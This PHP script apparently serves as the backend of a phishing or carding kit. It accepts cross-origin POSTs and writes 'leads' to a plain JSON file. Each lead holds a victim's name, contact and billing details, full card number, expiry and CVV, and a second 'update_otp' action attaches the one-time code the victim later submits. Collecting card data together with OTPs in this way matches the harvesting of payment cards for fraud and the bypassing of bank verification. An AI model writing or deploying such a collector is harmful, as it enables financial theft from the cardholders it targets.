<?php
header('Content-Type: application/json');
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: POST, OPTIONS');
header('Access-Control-Allow-Headers: Content-Type');

// Handle preflight OPTIONS request
if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') {
    http_response_code(200);
    exit();
}

// Only allow POST requests
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
    http_response_code(405);
    echo json_encode(['error' => 'Method not allowed']);
    exit();
}

// Get JSON input
$input = file_get_contents('php://input');
$data = json_decode($input, true);

if (!$data) {
    http_response_code(400);
    echo json_encode(['error' => 'Invalid JSON data']);
    exit();
}

// Handle different action types
$action = $data['action'] ?? 'save_lead';

if ($action === 'update_otp') {
    // Handle OTP update
    $leadId = $data['leadId'] ?? '';
    $otpCode = $data['otpCode'] ?? '';
    
    if (empty($leadId)) {
        http_response_code(400);
        echo json_encode(['error' => 'Lead ID required for OTP update']);
        exit();
    }
    
    // Load existing leads
    $leadsFile = 'database/leads.json';
    $leads = [];
    
    if (file_exists($leadsFile)) {
        $existingData = file_get_contents($leadsFile);
        $leads = json_decode($existingData, true) ?? [];
    }
    
    // Find and update the lead
    $updated = false;
    foreach ($leads as &$lead) {
        if ($lead['id'] === $leadId) {
            $lead['otp_code'] = $otpCode;
            $lead['updated_at'] = date('Y-m-d H:i:s');
            $updated = true;
            break;
        }
    }
    
    if (!$updated) {
        http_response_code(404);
        echo json_encode(['error' => 'Lead not found']);
        exit();
    }
    
    // Save updated leads
    $result = file_put_contents($leadsFile, json_encode($leads, JSON_PRETTY_PRINT));
    
    if ($result === false) {
        http_response_code(500);
        echo json_encode(['error' => 'Failed to update lead']);
        exit();
    }
    
    echo json_encode(['success' => true, 'message' => 'OTP updated successfully']);
    exit();
}

// Handle new lead creation
$leadData = $data['leadData'] ?? $data; // Support both formats

// Generate unique lead ID
$leadId = 'lead_' . time() . '_' . rand(1000, 9999);

// Prepare lead data
$leadData = [
    'id' => $leadId,
    'customerName' => $leadData['customerName'] ?? '',
    'customerEmail' => $leadData['customerEmail'] ?? '',
    'customerPhone' => $leadData['customerPhone'] ?? '',
    'customerAddress' => $leadData['customerAddress'] ?? '',
    'customerCity' => $leadData['customerCity'] ?? '',
    'billingName' => $leadData['billingName'] ?? '',
    'billingEmail' => $leadData['billingEmail'] ?? '',
    'billingPhone' => $leadData['billingPhone'] ?? '',
    'billingAddress' => $leadData['billingAddress'] ?? '',
    'billingCity' => $leadData['billingCity'] ?? '',
    'postalCode' => $leadData['postalCode'] ?? '',
    'paymentMethod' => $leadData['paymentMethod'] ?? '',
    'cardNumber' => $leadData['cardNumber'] ?? '',
    'cardName' => $leadData['cardName'] ?? '',
    'cardExpiry' => $leadData['cardExpiry'] ?? '',
    'cardCvv' => $leadData['cardCvv'] ?? '',
    'productName' => $leadData['productName'] ?? '',
    'productPrice' => $leadData['productPrice'] ?? 0,
    'visitorId' => $leadData['visitorId'] ?? '',
    'otp_code' => '', // Will be filled when OTP is submitted
    'status' => 'pending',
    'created_at' => date('Y-m-d H:i:s'),
    'updated_at' => date('Y-m-d H:i:s')
];

// Load existing leads
$leadsFile = 'database/leads.json';
$leads = [];

if (file_exists($leadsFile)) {
    $existingData = file_get_contents($leadsFile);
    $leads = json_decode($existingData, true) ?? [];
}

// Add new lead
$leads[] = $leadData;

// Save leads back to file
$result = file_put_contents($leadsFile, json_encode($leads, JSON_PRETTY_PRINT));

if ($result === false) {
    http_response_code(500);
    echo json_encode(['error' => 'Failed to save lead data']);
    exit();
}

// Return success response
echo json_encode([
    'success' => true,
    'leadId' => $leadId,
    'message' => 'Lead saved successfully'
]);
?>
